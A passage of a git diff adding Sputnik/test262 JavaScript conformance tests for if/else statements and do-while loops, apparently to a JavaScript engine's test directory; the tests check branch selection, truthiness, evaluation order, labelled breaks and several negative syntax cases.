+ $ERROR('#4.2: At embedded "if/else" constructions engine must select right branches');
+else
+ if (false)
+ $ERROR('#4.3: At embedded "if/else" constructions engine must select right branches');
+ else
+ ;
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A12_T2.js b/js/src/tests/test262/ch12/12.5/S12.5_A12_T2.js
new file mode 100644
index 000000000..c9115994b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A12_T2.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Embedded "if/else" constructions are allowed
+ *
+ * @path ch12/12.5/S12.5_A12_T2.js
+ * @description Using embedded "if" into "if/else" constructions
+ */
+
+//CHECK# 1
+if(true){
+ if (false)
+ $ERROR('#1.1: At embedded "if/else" constructions engine must select right branches');
+}
+else{
+ if (true)
+ $ERROR('#1.2: At embedded "if/else" constructions engine must select right branches');
+}
+
+//CHECK# 2
+if(true){
+ if (true)
+ ;
+}
+else{
+ if (true)
+ $ERROR('#2.2: At embedded "if/else" constructions engine must select right branches');
+}
+
+//CHECK# 3
+if(false){
+ if (true)
+ $ERROR('#3.1: At embedded "if/else" constructions engine must select right branches');
+}
+else{
+ if (true)
+ ;
+}
+
+//CHECK# 4
+if(false){
+ if (true)
+ $ERROR('#4.1: At embedded "if/else" constructions engine must select right branches');
+}
+else{
+ if (false)
+ $ERROR('#4.3: At embedded "if/else" constructions engine must select right branches');
+}
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A12_T3.js b/js/src/tests/test262/ch12/12.5/S12.5_A12_T3.js
new file mode 100644
index 000000000..a17cff21f
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A12_T3.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Embedded "if/else" constructions are allowed
+ *
+ * @path ch12/12.5/S12.5_A12_T3.js
+ * @description Using embedded "if/else" into "if" without "else" constructions
+ */
+
+//CHECK# 1
+if(true)
+ if (false)
+ $ERROR('#1.1: At embedded "if/else" constructions engine must select right branches');
+ else
+ ;
+
+//CHECK# 2
+if(true)
+ if (true)
+ ;
+ else
+ $ERROR('#2.1: At embedded "if/else" constructions engine must select right branches');
+
+//CHECK# 3
+if(false)
+ if (true)
+ $ERROR('#3.1: At embedded "if/else" constructions engine must select right branches');
+ else
+ $ERROR('#3.2: At embedded "if/else" constructions engine must select right branches');
+
+//CHECK# 4
+if(false)
+ if (true)
+ $ERROR('#4.1: At embedded "if/else" constructions engine must select right branches');
+ else
+ $ERROR('#4.2: At embedded "if/else" constructions engine must select right branches');
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A12_T4.js b/js/src/tests/test262/ch12/12.5/S12.5_A12_T4.js
new file mode 100644
index 000000000..03f643d62
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A12_T4.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Embedded "if/else" constructions are allowed
+ *
+ * @path ch12/12.5/S12.5_A12_T4.js
+ * @description Using embedded "if" into "if" constructions
+ */
+
+//CHECK# 1
+if(true)
+ if (false)
+ $ERROR('#1.1: At embedded "if/else" constructions engine must select right branches');
+
+//CHECK# 2
+var c=0;
+if(true)
+ if (true)
+ c=2;
+if (c!==2)
+ $ERROR('#2: At embedded "if/else" constructions engine must select right branches');
+
+//CHECK# 3
+if(false)
+ if (true)
+ $ERROR('#3.1: At embedded "if/else" constructions engine must select right branches');
+
+//CHECK# 4
+if(false)
+ if (true)
+ $ERROR('#4.1: At embedded "if/else" constructions engine must select right branches');
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A1_T1.js b/js/src/tests/test262/ch12/12.5/S12.5_A1_T1.js
new file mode 100644
index 000000000..df6f327d4
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A1_T1.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * 1, true, non-empty string in expression is evaluated to true
+ *
+ * @path ch12/12.5/S12.5_A1_T1.js
+ * @description Using "if" without "else" construction
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(!(1))
+ $ERROR('#1: 1 in expression is evaluated to true');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(!(true))
+ $ERROR('#2: true in expression is evaluated to true');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(!("1"))
+ $ERROR('#3: "1" in expression is evaluated to true');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if(!("A"))
+ $ERROR('#4: "A" in expression is evaluated to true');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A1_T2.js b/js/src/tests/test262/ch12/12.5/S12.5_A1_T2.js
new file mode 100644
index 000000000..ea952a930
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A1_T2.js
@@ -0,0 +1,52 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * 1, true, non-empty string in expression is evaluated to true
+ *
+ * @path ch12/12.5/S12.5_A1_T2.js
+ * @description Using "if/else" construction
+ */
+
+var c=0;
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if(!(1))
+ $ERROR('#1.1: 1 in expression is evaluated to true');
+else
+ c++;
+if (c!=1) $ERROR('#1.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if(!(true))
+ $ERROR('#2.1: true in expression is evaluated to true');
+else
+ c++;
+if (c!=2) $ERROR('#2.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if(!("1"))
+ $ERROR('#3.1: "1" in expression is evaluated to true');
+else
+ c++;
+if (c!=3) $ERROR('#3.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+if(!("A"))
+ $ERROR('#4.1: "A" in expression is evaluated to true');
+else
+ c++;
+if (c!=4) $ERROR('#4.2: else branch don`t execute');
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A2.js b/js/src/tests/test262/ch12/12.5/S12.5_A2.js
new file mode 100644
index 000000000..c953c29cd
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A2.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * In the "if" Statement eval in Expression is admitted
+ *
+ * @path ch12/12.5/S12.5_A2.js
+ * @description Checking by using eval "eval("true")"
+ * @negative
+ */
+
+if (eval("true")) $FAIL('#1: In the "if" Statement eval as Expression is admitted');
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A3.js b/js/src/tests/test262/ch12/12.5/S12.5_A3.js
new file mode 100644
index 000000000..3eb41d59b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A3.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the production "IfStatement: if ( Expression ) Statement else Statement" is evaluated, Expression is evaluated first
+ *
+ * @path ch12/12.5/S12.5_A3.js
+ * @description The Expression is "(function(){throw 1})()"
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ if ((function(){throw 1})()) abracadabra
+} catch (e) {
+ if (e !== 1) {
+ $ERROR('#1: Exception === 1. Actual: Exception ==='+ e);
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+try {
+ if ((function(){throw 1})()) abracadabra; else blablachat;
+} catch (e) {
+ if (e !== 1) {
+ $ERROR('#2: Exception === 1. Actual: Exception ==='+ e);
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A4.js b/js/src/tests/test262/ch12/12.5/S12.5_A4.js
new file mode 100644
index 000000000..73babcfea
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A4.js
@@ -0,0 +1,37 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the production "IfStatement: if ( Expression ) Statement else Statement" is evaluated, Statement(s) is(are) evaluated second
+ *
+ * @path ch12/12.5/S12.5_A4.js
+ * @description The first statement is "(function(){throw "instatement"})()"
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ if (true) (function(){throw "instatement"})();
+ $FAIL("#1 failed")
+} catch (e) {
+ if (e !== "instatement") {
+ $ERROR('#1: Exception === "instatement". Actual: Exception ==='+ e);
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+try {
+ if (false) (function(){throw "truebranch"})(); (function(){throw "missbranch"})();
+ $FAIL("#2 failed")
+} catch (e) {
+ if (e !== "missbranch") {
+ $ERROR('#2: Exception === "missbranch". Actual: Exception ==='+ e);
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A5.js b/js/src/tests/test262/ch12/12.5/S12.5_A5.js
new file mode 100644
index 000000000..72c334a67
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A5.js
@@ -0,0 +1,48 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionDeclaration inside the "if" Expression is evaluated as true and function will not be declarated
+ *
+ * @path ch12/12.5/S12.5_A5.js
+ * @description The "if" Expression is "function __func(){throw "FunctionExpression";}"
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ __func=__func;
+ $ERROR('#1: "__func=__func" lead to throwing exception');
+} catch (e) {
+ ;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+try {
+ if(function __func(){throw "FunctionExpression";}) (function(){throw "TrueBranch"})(); else (function(){"MissBranch"})();
+} catch (e) {
+ if (e !== "TrueBranch") {
+ $ERROR('#2: Exception ==="TrueBranch". Actual: Exception ==='+ e);
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+try {
+ __func=__func;
+ $ERROR('#3: "__func=__func" lead to throwing exception');
+} catch (e) {
+ ;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A6_T1.js b/js/src/tests/test262/ch12/12.5/S12.5_A6_T1.js
new file mode 100644
index 000000000..76aabe63c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A6_T1.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * In the If statement expression must be enclosed in braces
+ *
+ * @path ch12/12.5/S12.5_A6_T1.js
+ * @description Checking if execution of "if true" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if true;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A6_T2.js b/js/src/tests/test262/ch12/12.5/S12.5_A6_T2.js
new file mode 100644
index 000000000..1b6f383ab
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A6_T2.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * In the If statement expression must be enclosed in braces
+ *
+ * @path ch12/12.5/S12.5_A6_T2.js
+ * @description Checking if execution of "if false" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if false;
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A7.js b/js/src/tests/test262/ch12/12.5/S12.5_A7.js
new file mode 100644
index 000000000..f450d6aea
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A7.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * In the "if" statement empty statement is allowed and is evaluated to "undefined"
+ *
+ * @path ch12/12.5/S12.5_A7.js
+ * @description Checking by using eval "eval("if(1);"))"
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ var __evaluated = eval("if(1);");
+ if (__evaluated !== undefined) {
+ $ERROR('#1: __evaluated === undefined. Actual: __evaluated ==='+ __evaluated );
+ }
+
+} catch (e) {
+ $ERROR('#1.1: "__evaluated = eval("if(1);")" does not lead to throwing exception');
+
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.5/S12.5_A8.js b/js/src/tests/test262/ch12/12.5/S12.5_A8.js
new file mode 100644
index 000000000..7a2d4b9c6
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/S12.5_A8.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * In the "if" Statement empty expression is not allowed
+ *
+ * @path ch12/12.5/S12.5_A8.js
+ * @description Checking if execution of "if()" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if();
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.5/browser.js b/js/src/tests/test262/ch12/12.5/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/browser.js
diff --git a/js/src/tests/test262/ch12/12.5/shell.js b/js/src/tests/test262/ch12/12.5/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.5/shell.js
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A1.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A1.js
new file mode 100644
index 000000000..c95c6ff1e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A1.js
@@ -0,0 +1,42 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the production "do Statement while ( Expression )" is evaluated, Statement is evaluated first
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A1.js
+ * @description Evaluating various Expressions
+ */
+
+var __in__do;
+
+do __in__do=1; while ( false );
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__in__do!==1) {
+ $ERROR('#1: false evaluates to false');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+do __in__do=2; while ( 0 );
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__in__do!==2) {
+ $ERROR('#2: 0 evaluates to false');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+do __in__do=3; while ( "" );
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+if (__in__do!==3) {
+ $ERROR('#3: "" evaluates to false');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A10.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A10.js
new file mode 100644
index 000000000..0c01a5e2e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A10.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionExpression within a "do-while" statement is allowed, but no function with the given name will appear in the global context
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A10.js
+ * @description Also this a test on FunctionExpression
+ */
+
+var check = 0;
+do {
+ if(typeof(f) === "function"){
+ check = -1;
+ break;
+ } else {
+ check = 1;
+ break;
+ }
+} while(function f(){});
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (check !== 1) {
+ $ERROR('#1: FunctionExpression within a "do-while" statement is allowed, but no function with the given name will appear in the global context');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A11.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A11.js
new file mode 100644
index 000000000..60071bd6b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A11.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Block "{}" in a "do-while" Expression is evaluated to true
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A11.js
+ * @description Checking if execution of "do {} while({})" passes
+ */
+
+do {
+ var __in__do=1;
+ if(__in__do)break;
+} while({});
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__in__do !== 1) {
+ $ERROR('#1: "{}" in do-while expression evaluates to true');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A12.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A12.js
new file mode 100644
index 000000000..1e623bc43
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A12.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Any statement within "do-while" construction must be a compound
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A12.js
+ * @description Checking if execution of "do var x=1; var y =2; while (0)" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+do var x=1; var y =2; while (0);
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A14_T1.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A14_T1.js
new file mode 100644
index 000000000..38bc21491
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A14_T1.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionExpression within a "do-while" Expression is allowed
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A14_T1.js
+ * @description Using FunctionExpression "function __func(){return 0;}" as an Expression
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+do{
+ var __reached = 1;
+ break;
+}while(function __func(){return 0;});
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__reached !== 1) {
+ $ERROR('#2: function expession inside of do-while expression is allowed');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A14_T2.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A14_T2.js
new file mode 100644
index 000000000..9ae3ad763
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A14_T2.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * FunctionExpression within a "do-while" Expression is allowed
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A14_T2.js
+ * @description Using FunctionExpression "function __func(){return 0;}()" as an Expression
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+do{
+ var __reached = 1;
+ break;
+}while(function __func(){return 0;}());
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__reached !== 1) {
+ $ERROR('#2: function expession inside of do-while expression is allowed');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A15.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A15.js
new file mode 100644
index 000000000..65588750c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A15.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Block within a "do-while" Expression is not allowed
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A15.js
+ * @description Using "{0}" Block as an Expression
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+do{
+ ;
+}while({0});
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A2.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A2.js
new file mode 100644
index 000000000..023c7d4a2
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A2.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * While evaluating "do Statement while ( Expression )", Statement is evaluated first and only after it is done Expression is checked
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A2.js
+ * @description Evaluating Statement with error Expression
+ */
+
+try {
+ do __in__do = "reached"; while (abbracadabra);
+ $ERROR('#1: \'do __in__do = "reached"; while (abbracadabra)\' lead to throwing exception');
+} catch (e) {
+ if (e instanceof Test262Error) throw e;
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__in__do !== "reached") {
+ $ERROR('#1.1: __in__do === "reached". Actual: __in__do ==='+ __in__do );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A3.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A3.js
new file mode 100644
index 000000000..5f5f0ed69
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A3.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When the production "do Statement while ( Expression )" is evaluated, then (normal, V, empty) is returned
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A3.js
+ * @description Using eval "eval("do __in__do=1; while (false)")"
+ */
+
+__evaluated = eval("do __in__do=1; while (false)");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#
+if (__in__do !== 1) {
+ $ERROR('#1: __in__do === 1. Actual: __in__do ==='+ __in__do );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__evaluated !== 1) {
+ $ERROR('#2: __evaluated === 1. Actual: __evaluated ==='+ __evaluated );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A4_T1.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A4_T1.js
new file mode 100644
index 000000000..917afe329
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A4_T1.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "break" within a "do-while" Statement is allowed and performed as described in 12.8
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A4_T1.js
+ * @description Using "break" within a "do-while" loop
+ */
+
+do {
+ __in__do__before__break="reached";
+ break;
+ __in__do__after__break="where am i";
+} while(2===1);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__in__do__before__break !== "reached") {
+ $ERROR('#1: __in__do__before__break === "reached". Actual: __in__do__before__break ==='+ __in__do__before__break );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (typeof __in__do__after__break !== "undefined") {
+ $ERROR('#2: typeof __in__do__after__break === "undefined". Actual: typeof __in__do__after__break ==='+ typeof __in__do__after__break );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A4_T2.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A4_T2.js
new file mode 100644
index 000000000..72e01a07d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A4_T2.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "break" within a "do-while" Statement is allowed and performed as described in 12.8
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A4_T2.js
+ * @description "break" and VariableDeclaration within a "do-while" statement
+ */
+
+do_out : do {
+ var __in__do__before__break="black";
+ do_in : do {
+ var __in__do__IN__before__break="hole";
+ break do_in;
+ var __in__do__IN__after__break="sun";
+ } while (0);
+ var __in__do__after__break="won't you come";
+} while(2==1);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!(__in__do__before__break&&__in__do__IN__before__break&&!__in__do__IN__after__break&&__in__do__after__break)) {
+ $ERROR('#1: (__in__do__before__break&&__in__do__IN__before__break&&!__in__do__IN__after__break&&__in__do__after__break)===true. Actual: (__in__do__before__break&&__in__do__IN__before__break&&!__in__do__IN__after__break&&__in__do__after__break)==='+ (__in__do__before__break&&__in__do__IN__before__break&&!__in__do__IN__after__break&&__in__do__after__break) );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A4_T3.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A4_T3.js
new file mode 100644
index 000000000..a6adc0836
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A4_T3.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "break" within a "do-while" Statement is allowed and performed as described in 12.8
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A4_T3.js
+ * @description "break" and VariableDeclaration within a "do-while" statement
+ */
+
+do_out : do {
+ var __in__do__before__break="once";
+ do_in : do {
+ var __in__do__IN__before__break="in";
+ break do_out;
+ var __in__do__IN__after__break="the";
+ } while (0);
+ var __in__do__after__break="lifetime";
+} while(2===1);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!(__in__do__before__break&&__in__do__IN__before__break&&!__in__do__IN__after__break&&!__in__do__after__break)) {
+ $ERROR('#1: (__in__do__before__break&&__in__do__IN__before__break&&!__in__do__IN__after__break&&!__in__do__after__break)===true. Actual: (__in__do__before__break&&__in__do__IN__before__break&&!__in__do__IN__after__break&&!__in__do__after__break)==='+ (__in__do__before__break&&__in__do__IN__before__break&&!__in__do__IN__after__break&&!__in__do__after__break) );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A4_T4.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A4_T4.js
new file mode 100644
index 000000000..52cb23cc9
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A4_T4.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "break" within a "do-while" Statement is allowed and performed as described in 12.8
+ *
+ * @path ch12/12.6/12.6.1/S12.6.1_A4_T4.js
+ * @description "break" and VariableDeclaration within a "do-while" statement
+ */
+
+do_out : do {
+ var __in__do__before__break="reached";
+ do_in : do {
+ var __in__do__IN__before__break="reached";
+ break;
+ var __in__do__IN__after__break="where am i";
+ } while (0);
+ var __in__do__after__break="where am i";
+} while(2===1);
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!(__in__do__before__break&&__in__do__IN__before__break&&!__in__do__IN__after__break&&__in__do__after__break)) {
+ $ERROR('#1: (__in__do__before__break&&__in__do__IN__before__break&&!__in__do__IN__after__break&&__in__do__after__break)===true. Actual: (__in__do__before__break&&__in__do__IN__before__break&&!__in__do__IN__after__break&&__in__do__after__break)==='+ (__in__do__before__break&&__in__do__IN__before__break&&!__in__do__IN__after__break&&__in__do__after__break) );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A4_T5.js b/js/src/tests/test262/ch12/12.6/12.6.1/S12.6.1_A4_T5.js
new file mode 100644
index 000000000..97f65bf59
